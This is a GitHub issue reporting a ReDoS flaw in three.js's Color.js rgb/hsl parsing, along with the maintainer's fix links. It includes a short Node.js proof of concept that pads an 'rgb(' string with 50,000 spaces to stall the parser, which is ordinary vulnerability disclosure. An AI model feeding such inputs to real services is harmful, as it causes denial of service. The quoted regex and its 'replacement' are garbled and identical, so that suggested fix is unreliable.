


New issue

Jump to bottom

ReDoS in three #21132

 **Closed** yetingli opened this issue on Jan 23, 2021 · 1 comment

yetingli commented on Jan 23, 2021

Contributor

Hi,

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in three.

It allows cause a denial of service when handling rgb or hsl colors.

The vulnerable regex is located in

```
three.js/src/math/Color.js
Line 166 in 2d04b4b
166     if ( m = /^(?:rgb|hsl)a?)(\s*([^\s]*)\\).exec( style ) ) {
```

To Reproduce

Steps to reproduce the behavior:

Code

```
var three = require('three')

function build_blank (n) {
  var ret = "rgb("
  for (var i = 0; i < n; i++) {
    ret += " "
  }
  return ret + " ";
}

var Color = three.Color

var time = Date.now();
new Color(build_blank(50000))
var time_cost = Date.now() - time;
console.log(time_cost+" ms")
```

I am willing to suggest that you replace the regex `/^(?:rgb|hsl)a?)(\s*([^\s]*)\\) /` with `/^(?:rgb|hsl)a?)(\s*([^\s]*)\\) /`

 4

mrdoob mentioned this issue on Jan 25, 2021

Color: Fix ReDoS in setStyle #21142

 **Closed**

mrdoob commented on Jan 25, 2021

Owner

I made a pull request for this: #21142

 2

yetingli mentioned this issue on Jan 25, 2021

Color: Fix ReDoS in setStyle #21143

 **Merged**

mrdoob closed this as completed on Jan 25, 2021

gkjohnson mentioned this issue on Aug 31, 2021

Consider making ThreeIntersectionUtilities.checkIntersection() configurable gkjohnson/three-mesh-bvh#318

 **Closed**

makc mentioned this issue on Oct 9, 2021

Trying to get in touch regarding a security issue #22543

 **Closed**

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

